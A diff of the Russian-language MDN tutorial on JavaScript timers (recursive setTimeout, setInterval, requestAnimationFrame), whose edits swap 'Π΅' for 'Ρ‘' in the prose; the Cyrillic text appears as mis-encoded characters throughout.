+ <li>ВСроятно, Π²Π°ΠΌ слСдуСт ΠΎΡ‚ΠΊΠ»ΡŽΡ‡ΠΈΡ‚ΡŒ ΠΊΠ½ΠΎΠΏΠΊΡƒ запуска послС Π΅Ρ‘ наТатия ΠΎΠ΄ΠΈΠ½ Ρ€Π°Π· ΠΈ снова Π²ΠΊΠ»ΡŽΡ‡ΠΈΡ‚ΡŒ Π΅Ρ‘ послС Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ Π²Ρ‹ остановили / сбросили Π΅Ρ‘. Π’ ΠΏΡ€ΠΎΡ‚ΠΈΠ²Π½ΠΎΠΌ случаС ΠΌΠ½ΠΎΠ³ΠΎΠΊΡ€Π°Ρ‚Π½ΠΎΠ΅ Π½Π°ΠΆΠ°Ρ‚ΠΈΠ΅ ΠΊΠ½ΠΎΠΏΠΊΠΈ запуска ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Ρ‚ ΠΊ ΠΏΡ€ΠΈΠΌΠ΅Π½Π΅Π½ΠΈΡŽ Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… <code>setInterval ()</code> ΠΊ часам, Ρ‡Ρ‚ΠΎ ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Ρ‚ ΠΊ Π½Π΅ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎΠΌΡƒ повСдСнию.</li>
</ul>
<div class="blockIndicator note">
@@ -178,9 +178,9 @@ clearInterval(myInterval);</pre>
<h3 id="РСкурсивныС_Ρ‚Π°ΠΉΠΌΠ°ΡƒΡ‚Ρ‹">РСкурсивныС Ρ‚Π°ΠΉΠΌΠ°ΡƒΡ‚Ρ‹</h3>
-<p>Π•ΡΡ‚ΡŒ Π΅Ρ‰Π΅ ΠΎΠ΄ΠΈΠ½ способ использования <code>setTimeout ()</code>: Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²Ρ‹Π·Π²Π°Ρ‚ΡŒ Π΅Π³ΠΎ рСкурсивно для ΠΏΠΎΠ²Ρ‚ΠΎΡ€Π½ΠΎΠ³ΠΎ запуска ΠΎΠ΄Π½ΠΎΠ³ΠΎ ΠΈ Ρ‚ΠΎΠ³ΠΎ ΠΆΠ΅ ΠΊΠΎΠ΄Π° вмСсто использования <code>setInterval ()</code>.</p>
+<p>Π•ΡΡ‚ΡŒ Π΅Ρ‰Ρ‘ ΠΎΠ΄ΠΈΠ½ способ использования <code>setTimeout ()</code>: Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²Ρ‹Π·Π²Π°Ρ‚ΡŒ Π΅Π³ΠΎ рСкурсивно для ΠΏΠΎΠ²Ρ‚ΠΎΡ€Π½ΠΎΠ³ΠΎ запуска ΠΎΠ΄Π½ΠΎΠ³ΠΎ ΠΈ Ρ‚ΠΎΠ³ΠΎ ΠΆΠ΅ ΠΊΠΎΠ΄Π° вмСсто использования <code>setInterval ()</code>.</p>
-<p>Π’ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½ΠΎΠΌ Π½ΠΈΠΆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ рСкурсивный setTimeout () для запуска ΠΏΠ΅Ρ€Π΅Π΄Π°Π½Π½ΠΎΠΉ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΠΊΠ°ΠΆΠ΄Ρ‹Π΅ 100 миллисСкунд:</p>
+<p>Π’ ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½ΠΎΠΌ Π½ΠΈΠΆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ рСкурсивный setTimeout () для запуска ΠΏΠ΅Ρ€Π΅Π΄Π°Π½Π½ΠΎΠΉ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΠΊΠ°ΠΆΠ΄Ρ‹Π΅ 100 миллисСкунд:</p>
<pre class="brush: js notranslate">let i = 1;
@@ -190,7 +190,7 @@ setTimeout(function run() {
setTimeout(run, 100);
}, 100);</pre>
-<p>Π‘Ρ€Π°Π²Π½ΠΈΡ‚Π΅ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½Ρ‹ΠΉ Π²Ρ‹ΡˆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ со ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌ - здСсь ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ <code>setInterval ()</code> для достиТСния Ρ‚ΠΎΠ³ΠΎ ΠΆΠ΅ эффСкта:</p>
+<p>Π‘Ρ€Π°Π²Π½ΠΈΡ‚Π΅ ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½Ρ‹ΠΉ Π²Ρ‹ΡˆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ со ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌ - здСсь ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ <code>setInterval ()</code> для достиТСния Ρ‚ΠΎΠ³ΠΎ ΠΆΠ΅ эффСкта:</p>
<pre class="brush: js notranslate">let i = 1;
@@ -201,10 +201,10 @@ setInterval(function run() {
<h4 id="Π§Π΅ΠΌ_рСкурсивный_setTimeout_отличаСтся_ΠΎΡ‚_setInterval">Π§Π΅ΠΌ рСкурсивный <code>setTimeout ()</code> отличаСтся ΠΎΡ‚Β <code>setInterval () </code>?</h4>
-<p>Π Π°Π·Π½ΠΈΡ†Π° ΠΌΠ΅ΠΆΠ΄Ρƒ двумя вСрсиями ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½ΠΎΠ³ΠΎ Π²Ρ‹ΡˆΠ΅ ΠΊΠΎΠ΄Π° Π½Π΅Π²Π΅Π»ΠΈΠΊΠ°.</p>
+<p>Π Π°Π·Π½ΠΈΡ†Π° ΠΌΠ΅ΠΆΠ΄Ρƒ двумя вСрсиями ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½ΠΎΠ³ΠΎ Π²Ρ‹ΡˆΠ΅ ΠΊΠΎΠ΄Π° Π½Π΅Π²Π΅Π»ΠΈΠΊΠ°.</p>
<ul>
- <li>РСкурсивный <code>setTimeout ()</code> Π³Π°Ρ€Π°Π½Ρ‚ΠΈΡ€ΡƒΠ΅Ρ‚ Ρ‚Π°ΠΊΡƒΡŽ ΠΆΠ΅ Π·Π°Π΄Π΅Ρ€ΠΆΠΊΡƒ ΠΌΠ΅ΠΆΠ΄Ρƒ выполнСниями. (НапримСр, 100 мс Π² ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½ΠΎΠΌ Π²Ρ‹ΡˆΠ΅ случаС.) Код Π±ΡƒΠ΄Π΅Ρ‚ Π·Π°ΠΏΡƒΡ‰Π΅Π½, Π·Π°Ρ‚Π΅ΠΌ ΠΏΠΎΠ΄ΠΎΠΆΠ΄Π΅Ρ‚ 100 миллисСкунд, ΠΏΡ€Π΅ΠΆΠ΄Π΅ чСм запустится снова, поэтому ΠΈΠ½Ρ‚Π΅Ρ€Π²Π°Π» Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΠ΄ΠΈΠ½Π°ΠΊΠΎΠ²Ρ‹ΠΌ, нСзависимо ΠΎΡ‚ Ρ‚ΠΎΠ³ΠΎ, сколько Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ трСбуСтся для выполнСния ΠΊΠΎΠ΄Π°.</li>
+ <li>РСкурсивный <code>setTimeout ()</code> Π³Π°Ρ€Π°Π½Ρ‚ΠΈΡ€ΡƒΠ΅Ρ‚ Ρ‚Π°ΠΊΡƒΡŽ ΠΆΠ΅ Π·Π°Π΄Π΅Ρ€ΠΆΠΊΡƒ ΠΌΠ΅ΠΆΠ΄Ρƒ выполнСниями. (НапримСр, 100 мс Π² ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½ΠΎΠΌ Π²Ρ‹ΡˆΠ΅ случаС.) Код Π±ΡƒΠ΄Π΅Ρ‚ Π·Π°ΠΏΡƒΡ‰Π΅Π½, Π·Π°Ρ‚Π΅ΠΌ ΠΏΠΎΠ΄ΠΎΠΆΠ΄Ρ‘Ρ‚ 100 миллисСкунд, ΠΏΡ€Π΅ΠΆΠ΄Π΅ чСм запустится снова, поэтому ΠΈΠ½Ρ‚Π΅Ρ€Π²Π°Π» Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΠ΄ΠΈΠ½Π°ΠΊΠΎΠ²Ρ‹ΠΌ, нСзависимо ΠΎΡ‚ Ρ‚ΠΎΠ³ΠΎ, сколько Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ трСбуСтся для выполнСния ΠΊΠΎΠ΄Π°.</li>
<li>ΠŸΡ€ΠΈΠΌΠ΅Ρ€ с использованиСм <code>setInterval () </code>Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ нСсколько ΠΈΠ½Π°Ρ‡Π΅. Π’Ρ‹Π±Ρ€Π°Π½Π½Ρ‹ΠΉ Π²Π°ΠΌΠΈ ΠΈΠ½Ρ‚Π΅Ρ€Π²Π°Π» Π²ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ врСмя, Π·Π°Ρ‚Ρ€Π°Ρ‡ΠΈΠ²Π°Π΅ΠΌΠΎΠ΅ Π½Π° Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ ΠΊΠΎΠ΄Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ Π·Π°ΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒ. ΠŸΡ€Π΅Π΄ΠΏΠΎΠ»ΠΎΠΆΠΈΠΌ, Ρ‡Ρ‚ΠΎ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ ΠΊΠΎΠ΄Π° Π·Π°Π½ΠΈΠΌΠ°Π΅Ρ‚ <code>40 </code>миллисСкунд - Ρ‚ΠΎΠ³Π΄Π° ΠΈΠ½Ρ‚Π΅Ρ€Π²Π°Π» составляСт всСго <code>60 </code>миллисСкунд.</li>
<li>ΠŸΡ€ΠΈ рСкурсивном использовании <code>setTimeout ()</code> каТдая итСрация ΠΌΠΎΠΆΠ΅Ρ‚ Π²Ρ‹Ρ‡ΠΈΡΠ»ΡΡ‚ΡŒ Ρ€Π°Π·Π»ΠΈΡ‡Π½ΡƒΡŽ Π·Π°Π΄Π΅Ρ€ΠΆΠΊΡƒ ΠΏΠ΅Ρ€Π΅Π΄ запуском ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΉ ΠΈΡ‚Π΅Ρ€Π°Ρ†ΠΈΠΈ. Π”Ρ€ΡƒΠ³ΠΈΠΌΠΈ словами, Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π²Ρ‚ΠΎΡ€ΠΎΠ³ΠΎ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π° ΠΌΠΎΠΆΠ΅Ρ‚ ΡƒΠΊΠ°Π·Ρ‹Π²Π°Ρ‚ΡŒ Π΄Ρ€ΡƒΠ³ΠΎΠ΅ врСмя Π² миллисСкундах для оТидания ΠΏΠ΅Ρ€Π΅Π΄ ΠΏΠΎΠ²Ρ‚ΠΎΡ€Π½Ρ‹ΠΌ запуском ΠΊΠΎΠ΄Π°.</li>
</ul>
@@ -215,7 +215,7 @@ setInterval(function run() {
<p>ИспользованиС 0 Π² качСствС значСния для <code>setTimeout ()</code> позволяСт ΠΏΠ»Π°Π½ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ ΡƒΠΊΠ°Π·Π°Π½Π½ΠΎΠΉ колбэк-Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΠΊΠ°ΠΊ ΠΌΠΎΠΆΠ½ΠΎ скорСС, Π½ΠΎ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ послС Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ Π±ΡƒΠ΄Π΅Ρ‚ Π·Π°ΠΏΡƒΡ‰Π΅Π½ основной ΠΏΠΎΡ‚ΠΎΠΊ ΠΊΠΎΠ΄Π°.</p>
-<p>НапримСр,Β ΠΊΠΎΠ΄ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½Ρ‹ΠΉ Π½ΠΈΠΆΠ΅Β (<a href="https://mdn.github.io/learning-area/javascript/asynchronous/loops-and-intervals/zero-settimeout.html">Ρ€Π°Π±ΠΎΡ‡ΠΈΠΉ ΠΊΠΎΠ΄</a>) Π²Ρ‹Π²ΠΎΠ΄ΠΈΡ‚Β alert содСрТащий <code>"Hello"</code>, Π·Π°Ρ‚Π΅ΠΌΒ alert содСрТащий <code>"World"</code>Β ΠΊΠ°ΠΊ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π²Ρ‹ Π½Π°ΠΆΠΌΠ΅Ρ‚Π΅ ОК в ΠΏΠ΅Ρ€Π²ΠΎΠΌΒ alert.</p>
+<p>НапримСр,Β ΠΊΠΎΠ΄ ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½Ρ‹ΠΉ Π½ΠΈΠΆΠ΅Β (<a href="https://mdn.github.io/learning-area/javascript/asynchronous/loops-and-intervals/zero-settimeout.html">Ρ€Π°Π±ΠΎΡ‡ΠΈΠΉ ΠΊΠΎΠ΄</a>) Π²Ρ‹Π²ΠΎΠ΄ΠΈΡ‚Β alert содСрТащий <code>"Hello"</code>, Π·Π°Ρ‚Π΅ΠΌΒ alert содСрТащий <code>"World"</code>Β ΠΊΠ°ΠΊ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π²Ρ‹ Π½Π°ΠΆΠΌΡ‘Ρ‚Π΅ ОК в ΠΏΠ΅Ρ€Π²ΠΎΠΌΒ alert.</p>
<pre class="brush: js notranslate">setTimeout(function() {
alert('World');
@@ -250,7 +250,7 @@ alert('Hello');</pre>
draw();</pre>
-<p>ИдСя состоит Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ ваша анимация обновляСтся (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ваши спрайты ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Ρ‰Π°ΡŽΡ‚ΡΡ, счСт обновляСтся, Π΄Π°Π½Π½Ρ‹Π΅ ΠΎΠ±Π½ΠΎΠ²Π»ΡΡŽΡ‚ΡΡ ΠΈΠ»ΠΈ Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ Π΅Ρ‰Π΅). Π—Π°Ρ‚Π΅ΠΌ Π²Ρ‹ Π²Ρ‹Π·Ρ‹Π²Π°Π΅Ρ‚Π΅ Π΅Π³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π½Π°Ρ‡Π°Ρ‚ΡŒ процСсс. Π’ ΠΊΠΎΠ½Ρ†Π΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΠ³ΠΎ Π±Π»ΠΎΠΊΠ° Π²Ρ‹ Π²Ρ‹Π·Ρ‹Π²Π°Π΅Ρ‚Π΅ <code>requestAnimationFrame ()</code> со ссылкой Π½Π° Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ, ΠΏΠ΅Ρ€Π΅Π΄Π°Π½Π½ΠΎΠΉ Π² качСствС ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π°, ΠΈ это Π΄Π°Π΅Ρ‚ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρƒ ΡƒΠΊΠ°Π·Π°Π½ΠΈΠ΅ Π²Ρ‹Π·Π²Π°Ρ‚ΡŒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ снова ΠΏΡ€ΠΈ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΉ пСрСрисовкС дисплСя. Π—Π°Ρ‚Π΅ΠΌ ΠΎΠ½ выполняСтся Π½Π΅ΠΏΡ€Π΅Ρ€Ρ‹Π²Π½ΠΎ, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ ΠΊΠΎΠ΄ рСкурсивно Π²Ρ‹Π·Ρ‹Π²Π°Π΅Ρ‚ <code>requestAnimationFrame ().</code></p>
+<p>ИдСя состоит Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ ваша анимация обновляСтся (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ваши спрайты ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Ρ‰Π°ΡŽΡ‚ΡΡ, счёт обновляСтся, Π΄Π°Π½Π½Ρ‹Π΅ ΠΎΠ±Π½ΠΎΠ²Π»ΡΡŽΡ‚ΡΡ ΠΈΠ»ΠΈ Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ Π΅Ρ‰Ρ‘). Π—Π°Ρ‚Π΅ΠΌ Π²Ρ‹ Π²Ρ‹Π·Ρ‹Π²Π°Π΅Ρ‚Π΅ Π΅Π³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π½Π°Ρ‡Π°Ρ‚ΡŒ процСсс. Π’ ΠΊΠΎΠ½Ρ†Π΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΠ³ΠΎ Π±Π»ΠΎΠΊΠ° Π²Ρ‹ Π²Ρ‹Π·Ρ‹Π²Π°Π΅Ρ‚Π΅ <code>requestAnimationFrame ()</code> со ссылкой Π½Π° Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ, ΠΏΠ΅Ρ€Π΅Π΄Π°Π½Π½ΠΎΠΉ Π² качСствС ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π°, ΠΈ это Π΄Π°Ρ‘Ρ‚ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρƒ ΡƒΠΊΠ°Π·Π°Π½ΠΈΠ΅ Π²Ρ‹Π·Π²Π°Ρ‚ΡŒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ снова ΠΏΡ€ΠΈ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΉ пСрСрисовкС дисплСя. Π—Π°Ρ‚Π΅ΠΌ ΠΎΠ½ выполняСтся Π½Π΅ΠΏΡ€Π΅Ρ€Ρ‹Π²Π½ΠΎ, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ ΠΊΠΎΠ΄ рСкурсивно Π²Ρ‹Π·Ρ‹Π²Π°Π΅Ρ‚ <code>requestAnimationFrame ().</code></p>
<div class="blockIndicator note">
<p><strong>Note</strong>: Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ простоС постоянноС Π°Π½ΠΈΠΌΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ DOM , <a href="/en-US/docs/Web/CSS/CSS_Animations">CSS Анимация</a> вСроятно Π±ΡƒΠ΄Π΅Ρ‚ быстрСС. Она вычисляСтся нСпосрСдствСнно Π²Π½ΡƒΡ‚Ρ€Π΅Π½Π½ΠΈΠΌ ΠΊΠΎΠ΄ΠΎΠΌ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°, Π° Π½Π΅ JavaScript.</p>
@@ -264,13 +264,13 @@ draw();</pre>
<p>ΠŸΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²ΠΎ экранов ΠΈΠΌΠ΅ΡŽΡ‚ частоту обновлСния 60 Π“Ρ†, максимальная частота ΠΊΠ°Π΄Ρ€ΠΎΠ², ΠΊ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡΡ‚Ρ€Π΅ΠΌΠΈΡ‚ΡŒΡΡ, составляСт 60 ΠΊΠ°Π΄Ρ€ΠΎΠ² Π² сСкунду (FPS) ΠΏΡ€ΠΈ Ρ€Π°Π±ΠΎΡ‚Π΅ с Π²Π΅Π±-Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°ΠΌΠΈ. Однако большСС количСство ΠΊΠ°Π΄Ρ€ΠΎΠ² ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚ большС ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ, которая часто ΠΌΠΎΠΆΠ΅Ρ‚ Π²Ρ‹Π·Ρ‹Π²Π°Ρ‚ΡŒ Π·Π°ΠΈΠΊΠ°Π½ΠΈΠ΅ ΠΈ пропуски, Ρ‚Π°ΠΊΠΆΠ΅ извСстныС ΠΊΠ°ΠΊ ΠΏΡ€ΠΎΠΏΠ°Π΄Π°Π½ΠΈΠ΅ ΠΊΠ°Π΄Ρ€ΠΎΠ² ΠΈΠ»ΠΈ Π·Π°Π΅Π΄Π°Π½ΠΈΠ΅.</p>
-<p>Если Ρƒ вас Π΅ΡΡ‚ΡŒ ΠΌΠΎΠ½ΠΈΡ‚ΠΎΡ€ с частотой обновлСния 60 Π“Ρ† ΠΈ Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ Π΄ΠΎΡΡ‚ΠΈΡ‡ΡŒ 60 ΠΊΠ°Π΄Ρ€ΠΎΠ² Π² сСкунду, Ρƒ вас Π΅ΡΡ‚ΡŒ ΠΎΠΊΠΎΠ»ΠΎ 16,7 миллисСкунд <code>(1000/60)</code> для выполнСния ΠΊΠΎΠ΄Π° Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ для Ρ€Π΅Π½Π΄Π΅Ρ€ΠΈΠ½Π³Π° ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ ΠΊΠ°Π΄Ρ€Π°. Π­Ρ‚ΠΎ Π½Π°ΠΏΠΎΠΌΠΈΠ½Π°Π½ΠΈΠ΅ ΠΎ Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ ΠΏΠΎΠΌΠ½ΠΈΡ‚ΡŒ ΠΎΠ± объСмС ΠΊΠΎΠ΄Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²Ρ‹ ΠΏΡ‹Ρ‚Π°Π΅Ρ‚Π΅ΡΡŒ Π·Π°ΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒ Π²ΠΎ врСмя ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ прохоТдСния Ρ†ΠΈΠΊΠ»Π° Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ.</p>
+<p>Если Ρƒ вас Π΅ΡΡ‚ΡŒ ΠΌΠΎΠ½ΠΈΡ‚ΠΎΡ€ с частотой обновлСния 60 Π“Ρ† ΠΈ Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ Π΄ΠΎΡΡ‚ΠΈΡ‡ΡŒ 60 ΠΊΠ°Π΄Ρ€ΠΎΠ² Π² сСкунду, Ρƒ вас Π΅ΡΡ‚ΡŒ ΠΎΠΊΠΎΠ»ΠΎ 16,7 миллисСкунд <code>(1000/60)</code> для выполнСния ΠΊΠΎΠ΄Π° Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ для Ρ€Π΅Π½Π΄Π΅Ρ€ΠΈΠ½Π³Π° ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ ΠΊΠ°Π΄Ρ€Π°. Π­Ρ‚ΠΎ Π½Π°ΠΏΠΎΠΌΠΈΠ½Π°Π½ΠΈΠ΅ ΠΎ Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ ΠΏΠΎΠΌΠ½ΠΈΡ‚ΡŒ ΠΎΠ± ΠΎΠ±ΡŠΡ‘ΠΌΠ΅ ΠΊΠΎΠ΄Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²Ρ‹ ΠΏΡ‹Ρ‚Π°Π΅Ρ‚Π΅ΡΡŒ Π·Π°ΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒ Π²ΠΎ врСмя ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ прохоТдСния Ρ†ΠΈΠΊΠ»Π° Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ.</p>
-<p><code>requestAnimationFrame ()</code> всСгда пытаСтся ΠΏΡ€ΠΈΠ±Π»ΠΈΠ·ΠΈΡ‚ΡŒΡΡ ΠΊ этому Π²ΠΎΠ»ΡˆΠ΅Π±Π½ΠΎΠΌΡƒ Π·Π½Π°Ρ‡Π΅Π½ΠΈΡŽ 60 FPS, насколько это Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ. Иногда это Π½Π΅Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ - Ссли Ρƒ вас Π΄Π΅ΠΉΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ слоТная анимация ΠΈ Π²Ρ‹ запускаСтС Π΅Π΅ Π½Π° ΠΌΠ΅Π΄Π»Π΅Π½Π½ΠΎΠΌ ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π΅, частота ΠΊΠ°Π΄Ρ€ΠΎΠ² Π±ΡƒΠ΄Π΅Ρ‚ мСньшС. Π’ΠΎ всСх случаях<code> requestAnimationFrame ()</code> всСгда Π±ΡƒΠ΄Π΅Ρ‚ Π΄Π΅Π»Π°Ρ‚ΡŒ всС Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΠ΅ с Ρ‚Π΅ΠΌ, Ρ‡Ρ‚ΠΎ Ρƒ Π½Π΅Π³ΠΎ Π΅ΡΡ‚ΡŒ.</p>
+<p><code>requestAnimationFrame ()</code> всСгда пытаСтся ΠΏΡ€ΠΈΠ±Π»ΠΈΠ·ΠΈΡ‚ΡŒΡΡ ΠΊ этому Π²ΠΎΠ»ΡˆΠ΅Π±Π½ΠΎΠΌΡƒ Π·Π½Π°Ρ‡Π΅Π½ΠΈΡŽ 60 FPS, насколько это Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ. Иногда это Π½Π΅Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ - Ссли Ρƒ вас Π΄Π΅ΠΉΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ слоТная анимация ΠΈ Π²Ρ‹ запускаСтС Π΅Ρ‘ Π½Π° ΠΌΠ΅Π΄Π»Π΅Π½Π½ΠΎΠΌ ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π΅, частота ΠΊΠ°Π΄Ρ€ΠΎΠ² Π±ΡƒΠ΄Π΅Ρ‚ мСньшС. Π’ΠΎ всСх случаях<code> requestAnimationFrame ()</code> всСгда Π±ΡƒΠ΄Π΅Ρ‚ Π΄Π΅Π»Π°Ρ‚ΡŒ всС Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΠ΅ с Ρ‚Π΅ΠΌ, Ρ‡Ρ‚ΠΎ Ρƒ Π½Π΅Π³ΠΎ Π΅ΡΡ‚ΡŒ.</p>
<h3 id="Π§Π΅ΠΌ_отличаСтся_requestAnimationFrame_ΠΎΡ‚_setInterval_and_setTimeout">Π§Π΅ΠΌ отличаСтся requestAnimationFrame() ΠΎΡ‚ setInterval() and setTimeout()?</h3>
-<p>Π”Π°Π²Π°ΠΉΡ‚Π΅ ΠΏΠΎΠ³ΠΎΠ²ΠΎΡ€ΠΈΠΌ Π΅Ρ‰Π΅ Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ ΠΎ Ρ‚ΠΎΠΌ, Ρ‡Π΅ΠΌ ΠΌΠ΅Ρ‚ΠΎΠ΄ <code>requestAnimationFrame ()</code> отличаСтся ΠΎΡ‚ Π΄Ρ€ΡƒΠ³ΠΈΡ… ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ², ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹Ρ… Ρ€Π°Π½Π΅Π΅. Глядя Π½Π° наш ΠΊΠΎΠ΄ свСрху:</p>
